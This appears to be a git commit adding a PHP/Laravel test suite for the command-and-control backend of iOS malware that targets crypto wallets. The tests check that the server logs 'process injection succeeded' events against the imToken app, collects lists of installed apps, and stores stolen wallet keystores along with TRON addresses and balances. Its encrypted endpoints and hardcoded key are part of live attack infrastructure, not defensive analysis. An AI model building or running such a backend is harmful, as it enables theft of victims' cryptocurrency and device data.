feat: xxbb

This commit is contained in:
hashbro
2026-08-13 06:30:07 +08:00
parent f285d35d86
commit c6e386e069
121 changed files with 4083 additions and 51 deletions
+198
View File
@@ -0,0 +1,198 @@
<?php
namespace Tests\Feature;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\PageVisit;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class XxbbC2ApiTest extends TestCase
{
use RefreshDatabase;
private function xxbbCrypto(): CorunaCrypto
{
return new CorunaCrypto('Ek8pl31K2yeHgQwy');
}
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = $this->xxbbCrypto()->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
#[Test]
public function vhx_returns_plain_ok(): void
{
$this->get('/vhx')->assertOk()->assertSee('ok');
$this->call('HEAD', '/vhx')->assertOk();
}
#[Test]
public function iptj_records_page_visit(): void
{
Cache::flush();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => $ua,
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
]))->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('56885688', $row->channel_id);
$this->assertSame('xxbb.tv', $row->client_uid);
$this->assertSame('xxbb.tv', $row->path);
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
}
#[Test]
public function profile_does_not_create_device(): void
{
$this->xxbbPost('/a', [
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk()->assertSee('1786468227899{}', false);
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
}
#[Test]
public function event_creates_device_and_log(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'et' => 'injection_success',
'desc' => 'Process injection succeeded',
'ctx' => ['bundleId' => 'im.token.app'],
'm' => 'iPhone12,8',
'pv' => '16.6',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertSame('202700cfb1ad3de68e11239dcc26c30b', $device->channel_id);
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
$this->assertNotNull($ev);
$this->assertSame('injection_success', $ev->event_name);
}
#[Test]
public function apps_ingests_al(): void
{
$this->xxbbPost('/u', [
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'v' => '16.6',
'al' => [
['a' => 'imToken', 'b' => 'im.token.app', 'v' => '2.21.0'],
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
$this->assertNotNull($app);
$this->assertSame('imToken', $app->name);
}
#[Test]
public function uj_stores_keystore_from_json_string(): void
{
$this->xxbbPost('/uj', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => json_encode([
'crypto' => ['cipher' => 'aes-128-ctr', 'ciphertext' => 'deadbeef'],
]),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
}
#[Test]
public function ub_ingests_ba_json_string(): void
{
Http::fake([
'*' => Http::response(['ok' => true], 200),
]);
$this->xxbbPost('/ub', [
'd' => '000C30D83CD0402E',
'a' => 'b1',
'ba' => json_encode([
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
[
'decimal' => '6',
'symbol' => 'USDT',
'chainType' => 'TRON',
'balance' => '0',
],
[
'decimal' => '6',
'symbol' => 'TRX',
'chainType' => 'TRON',
'balance' => '0',
],
],
]),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('TRON', $addr->chain_type);
$this->assertSame('imToken', $addr->source);
}
#[Test]
public function lab_timestamp_header_does_not_decrypt_xxbb_body(): void
{
$enc = $this->xxbbCrypto()->encryptJson([
'd' => '000C30D83CD0402E',
'et' => 'heartbeat',
], '1786468227899');
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => '1786468227899',
], $enc['body'])->assertOk();
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
}
}